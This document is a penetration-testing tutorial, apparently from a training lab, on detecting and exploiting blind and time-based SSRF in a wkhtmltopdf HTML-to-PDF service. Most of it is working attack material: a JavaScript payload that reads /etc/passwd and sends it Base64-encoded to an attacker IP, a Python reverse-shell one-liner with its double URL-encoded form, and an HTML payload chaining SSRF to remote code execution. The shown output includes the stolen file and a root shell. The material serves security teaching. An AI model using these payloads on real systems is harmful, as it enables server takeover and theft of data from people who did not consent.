Unveiling The Techniques Of Finding Blind & Time based SSRF In Web Applications (with a exploitation example)
Server-Side Request Forgery vulnerabilities can be “blind.” In these cases, even though the request is processed, we can’t see the backend server’s response. For this reason, blind SSRF vulnerabilities are more difficult to detect and exploit.
We can detect blind SSRF vulnerabilities via out-of-band techniques, making the server issue a request to an external service under our control. To detect if a backend service is processing our requests, we can either use a server with a public IP address that we own or services such as:
- Burp Collaborator (Part of Burp Suite professional. Not Available in the community edition)
Blind SSRF vulnerabilities could exist in PDF Document generators and HTTP Headers, among other locations.
Now, let us exploit a blind SSRF vulnerability in a web application that receives an HTML file and returns a PDF document. The application is listening on port 8080.
If we upload various HTML files and inspect the responses, we will notice that the application returns the same response regardless of the structure and content of the submitted files. In addition, we cannot observe any response related to the processing of the submitted HTML file on the front end. Should we conclude that the application is not vulnerable to SSRF? Of course not! We should be thorough during penetration tests and look for the blind counterparts of different vulnerability classes.
Let us create an HTML file containing a link to a service under our control to test if the application is vulnerable to a blind SSRF vulnerability. This service can be a web server hosted in a machine we own, Burp Collaborator, a Pingb.in URL etc. Please note that the protocols we can use when utilizing out-of-band techniques include HTTP, DNS, FTP, etc.
<!DOCTYPE html>
<html>
<body>
<a>Hello World!</a>
<img src="http://<SERVICE IP>:PORT/x?=viaimgtag">
</body>
</html>
For the sake of simplicity, the service we will use to test for a blind SSRF vulnerability will be a simple Netcat listener running on a local VM and listening on port 9090. If you are using a local VM, remember to use the supplied VPN key. So, on the above HTML file, SERVICE IP
should be the VPN/TUN IP
of Pwnbox or your local VM, and PORT
should be 9090
.
Netcat Listener
sudo nc -nlvp 9090
Listening on 0.0.0.0 9090
After submitting the file, we will receive a message from the web application in the browser and a request to our server revealing the application used to convert the HTML document to PDF.
By inspecting the request, we notice wkhtmltopdf
in the User-Agent. If we browse wkhtmltopdf's downloads webpage, the below statement catches our attention:
Do not use wkhtmltopdf with any untrusted HTML – be sure to sanitize any user-supplied HTML/JS; otherwise, it can lead to the complete takeover of the server it is running on! Please read the project status for the gory details.
Great, we can execute JavaScript in wkhtmltopdf! Let us leverage this functionality to read a local file by creating the following HTML document.
<html>
<body>
<b>Exfiltration via Blind SSRF</b>
<script>
var readfile = new XMLHttpRequest(); // Read the local file
var exfil = new XMLHttpRequest(); // Send the file to our server
readfile.open("GET","file:///etc/passwd", true);
readfile.send();
readfile.onload = function() {
if (readfile.readyState === 4) {
var url = 'http://<SERVICE IP>:<PORT>/?data='+btoa(this.response);
exfil.open("GET", url, true);
exfil.send();
}
}
readfile.onerror = function(){document.write('<a>Oops!</a>');}
</script>
</body>
</html>
In this case, we are using two XMLHttpRequest objects, one for reading the local file and another one to send it to our server. Also, we are using the btoa
function to send the data encoded in Base64.
Let us start an HTTP Server, submit the new HTML file, wait for the response, and decode its contents once the HTML file is processed, as follows.
Netcat Listener
sudo nc -nlvp 9090
Listening on 0.0.0.0 9090
GET /?data=cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDoyOjI6YmluOi9iaW46L3Vzci9zYmluL25vbG9naW4Kc3lzOng6MzozOnN5czovZGV2Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5bmM6eDo0OjY1NTM0OnN5bmM6L2JpbjovYmluL3N5bmMKZ2FtZXM6eDo1OjYwOmdhbWVzOi91c3IvZ2FtZXM6L3Vzci9zYmluL25vbG9naW4KbWFuOng6NjoxMjptYW46L3Zhci9jYWNoZS9tYW46L3Vzci9zYmluL25vbG9naW4KbHA6eDo3Ojc6bHA6L3Zhci9zcG9vbC9scGQ6L3Vzci9zYmluL25vbG9naW4KbWFpbDp4Ojg6ODptYWlsOi92YXIvbWFpbDovdXNyL3NiaW4vbm9sb2dpbgpuZXdzOng6OTo5Om5ld3M6L3Zhci9zcG9vbC9uZXdzOi91c3Ivc2Jpbi9ub2xvZ2luCnV1Y3A6eDoxMDoxMDp1dWNwOi92YXIvc3Bvb2wvdXVjcDovdXNyL3NiaW4vbm9sb2dpbgpwcm94eTp4OjEzOjEzOnByb3h5Oi9iaW46L3Vzci9zYmluL25vbG9naW4Kd3d3LWRhdGE6eDozMzozMzp3d3ctZGF0YTovdmFyL3d3dzovdXNyL3NiaW4vbm9sb2dpbgpiYWNrdXA6eDozNDozNDpiYWNrdXA6L3Zhci9iYWNrdXBzOi91c3Ivc2Jpbi9ub2xvZ2luCmxpc3Q6eDozODozODpNYWlsaW5nIExpc3QgTWFuYWdlcjovdmFyL2xpc3Q6L3Vzci9zYmluL25vbG9naW4KaXJjOng6Mzk6Mzk6aXJjZDovdmFyL3J1bi9pcmNkOi91c3Ivc2Jpbi9ub2xvZ2luCmduYXRzOng6NDE6NDE6R25hdHMgQnVnLVJlcG9ydGluZyBTeXN0ZW0gKGFkbWluKTovdmFyL2xpYi9nbmF0czovdXNyL3NiaW4vbm9sb2dpbgpub2JvZHk6eDo2NTUzNDo2NTUzNDpub2JvZHk6L25vbmV4aXN0ZW50Oi91c3Ivc2Jpbi9ub2xvZ2luCl9hcHQ6eDoxMDA6NjU1MzQ6Oi9ub25leGlzdGVudDovdXNyL3NiaW4vbm9sb2dpbgo= HTTP/1.1
Origin: file://
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/534.34 (KHTML, like Gecko) wkhtmltopdf Safari/534.34
Accept: */*
Connection: Keep-Alive
Accept-Encoding: gzip
Accept-Language: en,*
Host: 10.10.14.221:9090
Base64 Decoding
echo """cm9vdDp4OjA6MDpyb290Oi9yb<SNIP>""" | base64 -d
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
Now Let us compromise the underlying server, but this time by creating an HTML document with a valid payload for exploiting the local application listening on internal.app.local.
We will use the following reverse shell payload (it is pretty easy to identify that Python is installed once you achieve remote code execution).
Bash Reverse Shell
export RHOST="<VPN/TUN IP>";export RPORT="<PORT>";python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
Remember, we need to URL encode our payload. In this case, we need to encode it twice. The end result will be similar to the below.
URL Encoded Payload
export%2520RHOST%253D%252210.10.14.221%2522%253Bexport%2520RPORT%253D%25229090%2522%253Bpython%2520-c%2520%2527import%2520sys%252Csocket%252Cos%252Cpty%253Bs%253Dsocket.socket%2528%2529%253Bs.connect%2528%2528os.getenv%2528%2522RHOST%2522%2529%252Cint%2528os.getenv%2528%2522RPORT%2522%2529%2529%2529%2529%253B%255Bos.dup2%2528s.fileno%2528%2529%252Cfd%2529%2520for%2520fd%2520in%2520%25280%252C1%252C2%2529%255D%253Bpty.spawn%2528%2522%252Fbin%252Fsh%2522%2529%2527
Now, let us create an HTML file that performs a GET request to internal.app.local, reaches the local application vulnerable to remote code execution via SSRF, and executes our reverse shell.
HTML Payload
<html>
<body>
<b>Reverse Shell via Blind SSRF</b>
<script>
var http = new XMLHttpRequest();
http.open("GET","http://internal.app.local/load?q=http::////127.0.0.1:5000/runme?x=export%2520RHOST%253D%252210.10.14.221%2522%253Bexport%2520RPORT%253D%25229090%2522%253Bpython%2520-c%2520%2527import%2520sys%252Csocket%252Cos%252Cpty%253Bs%253Dsocket.socket%2528%2529%253Bs.connect%2528%2528os.getenv%2528%2522RHOST%2522%2529%252Cint%2528os.getenv%2528%2522RPORT%2522%2529%2529%2529%2529%253B%255Bos.dup2%2528s.fileno%2528%2529%252Cfd%2529%2520for%2520fd%2520in%2520%25280%252C1%252C2%2529%255D%253Bpty.spawn%2528%2522%252Fbin%252Fsh%2522%2529%2527", true);
http.send();
http.onerror = function(){document.write('<a>Oops!</a>');}
</script>
</body>
</html>
Once we start a Netcat listener on our machine and submit the HTML file above, we receive a reverse shell coming from internal.app.local
.
nc -nvlp 9090
listening on [any] 9090 ...
Connection received on 10.129.201.238 33100
# whoami
whoami
root
Time-Based SSRF
We can also determine the existence of an SSRF vulnerability by observing time differences in responses. This method is also helpful for discovering internal services.
Let us submit the following document to the PDF application of the previous section and observe the response time.
<html>
<body>
<b>Time-Based Blind SSRF</b>
<img src="http://blah.nonexistent.com">
</body>
</html>
We can see the service took 10 seconds to respond to the request. If we submit a valid URL inside the HTML document, it will take less time to respond. Remember that internal.app.local
was a valid internal application.
In some situations, the application may fail immediately instead of taking more time to respond. For this reason, we need to observe the time differences between requests carefully.